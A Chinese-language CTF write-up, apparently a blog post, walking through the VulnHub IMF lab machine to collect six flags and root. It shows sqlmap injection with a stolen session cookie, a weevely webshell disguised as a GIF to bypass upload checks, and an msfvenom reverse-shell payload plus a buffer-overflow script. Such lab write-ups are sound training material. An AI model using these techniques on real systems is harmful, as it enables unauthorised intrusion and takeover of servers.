8-vulnHub-IMF

VulnHub-IMF

靶机地址:
目标:得到root权限&找到6个flag.txt
作者:尼德霍格007
时间:2021-7-23

信息收集

扫描目标主机

nmap -sP 192.168.21.0/24

image-20210723001534877

扫描开放端口

image-20210723001759099

发现只开放了80端口,访问看看

image-20210723001842291

flag1

在Contact Us页面源码中发现flag1

image-20210723002142605

flag1{YWxsdGhlZmlsZXM=}
大括号内是是一个base64值,解密一下

allthefiles

继续搜索看看还有没有base64值,搜到还有,继续解码

image-20210723002431210

flag2

这里解密完发现不太对,第30、31和32行的拼接到一块儿才是base64密文

image-20210723002820510

ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==

解密

得到flag2

flag2{aW1mYWRtaW5pc3RyYXRvcg==}

继续解密

aW1mYWRtaW5pc3RyYXRvcg==

得到

imfadministrator

可能是目录,访问一下试试

image-20210723003126839

第一个allthefiles不是,试试第二个imfadministrator

image-20210723003208959

是一个登陆页面,查看源码

image-20210723003427673

image-20210723003606654

没啥有用信息,回到之前的Contact Us页面,看到三个用户名

image-20210723004111053

试试登陆,burpsuite抓包密码设为空数组,如下图

image-20210723004449089

flag3

image-20210723004803493得到flag3

flag3{Y29udGludWVUT2Ntcw==}

解密得到

continueTOcms

点击访问上图中的IMF CMS
image-20210723004931725
看到页面链接是带有?的,疑似存在SQL注入

验证一下,页面链接后加个单引号

image-20210723005224669

如上图所示,数据库报错,确实存在SQl注入漏洞

这种情况就直接使用sqlmap进行注入,但是这里是在登陆成功之后才有的注入点,所以注入时要带有登陆成功的Cookie,这里把前面的burpsuite的cookie复制下来

image-20210723012742280

使用sqlmap --cookie参数进行注入

sqlmap -u 'http://192.168.21.144/imfadministrator/cms.php?pagename=disavowlist' --cookie 'PHPSESSID=477nnqbpntd9vvnmeit8h624s5' --dump all

image-20210723012826062

根据注入的结果,获得了一张图片的路径,查看一下

flag4

http://192.168.21.144/imfadministrator/images/whiteboard.jpg

image-20210723012953211

有个二维码,扫描结果是

flag4{dXBsb2Fkcjk0Mi5waHA=}

解密得到

uploadr942.php

获取shell

像是个目录,访问

image-20210723013145526

是个文件上传页面

我这里试了一下,发现好像只能上传jpg、png、gif文件,考虑制作一个带木马的图片上传试试

使用工具weevely生成一个PHP木马文件,密码hello

image-20210723014317492

试着上传这个文件,上传失败

image-20210723014503388

将生成的muma.php改名为muma.gif,头部加上GIF98a,目的是骗过检测,让他以为这是一张gif图片。随意添加GIF数值(我这里写了22333),保存

image-20210723014857524

然后上传这个文件,上传成功

image-20210723014945299

查看页面源码,返回值:b533cd00f6f4

image-20210723015110504

这是gif文件上传到服务器的文件名称b533cd00f6f4

使用weevely连接

weevely http://192.168.21.144/imfadministrator/uploads/b533cd00f6f4.gif hello

连接成功

flag5

image-20210723015651778

获得flag5

image-20210723015813921

flag5{YWdlbnRzZXJ2aWNlcw==}

解密得到

agentservices

提示为代理服务

通过提示在靶机中查询agent运行的文件

find / -name agent &>1/dev/unll

&>1/dev/unll:将错误输出到/dev/unll,只显示正确结果

image-20210723020232073

在这两个目录下有agnet文件
进入bin目录,发现两个文件

image-20210723020331408

查看access_codes,提示SYN 7482,8279,9467(同步序列编号)

image-20210723020543617

查看端口,端口7788也有代理在运行

image-20210723021134832

提示端口试探,使用knock命令敲门

安装knock

git clone https://github.com/grongor/knock.git

image-20210723021812510

敲门

image-20210723021914743

重新扫描端口

image-20210723022028764

这样就敲开了靶机的7788端口

nc连接一下,要agent ID

image-20210723022122254

前面我们运行/usr/local/bin目录下的agent会需要输入ID

image-20210723022243182

所以我们从这里入手

先把这个agent文件传到kali本地

file_download /usr/local/bin/agent /root/agent

image-20210723022459737

image-20210723022628951

加执行权限

image-20210723022704644

使用ltrace跟踪agent在执行过程中调用库函数的情况

ltrace ./agent

image-20210723134732833

输入任意参数,有个返回值,这是正确的agent ID

image-20210723134911288

再次执行,输入正确ID

image-20210723135028855

有3个选项

image-20210723135238149

  1. 提取分

  2. 请求提取

  3. 提交报告

四、提权

看来通过缓冲区溢出agent进程获得root权限了
为agent进程创建一个shell
使用msfvenom创建一个shellcode

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.21.128 LPORT=6666 -f python -b "\x00\x0a\x0d"

-p 选择payload(此次因为agent是32位,所以使用X86
LHOST 、LPORT 监测主机IP和端口
-f 指定生成xxx格式
-b 在生成的程序中避免出现的值
\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)
\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)
\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)

使用大佬写的py脚本,将生成的内容,替换python脚本内容

https://github.com/jessekurrus/agentsploit

image-20210723140155267

image-20210723140751247

nc监听6666端口

image-20210723141044850

执行脚本

python agentsploit.py 192.168.21.144 7788

image-20210723141108554

成功获得root权限

image-20210723141220395

flag6

获得flag6

image-20210723141415307

flag6{R2gwc3RQcm90MGMwbHM=}

base64解密

Gh0stProt0c0ls

总结

前面的flag还挺好找的,从熟悉BP、写木马、gdb拆解、二进制等等。到了后面关于缓冲区溢出方面的难度就很大,接触的比较少,这里卡了好几天,才基本明白一点利用方式和原理,也是自己薄弱的地方,还需要大量的时间去理解。

未命名文件1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尼德霍格007

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值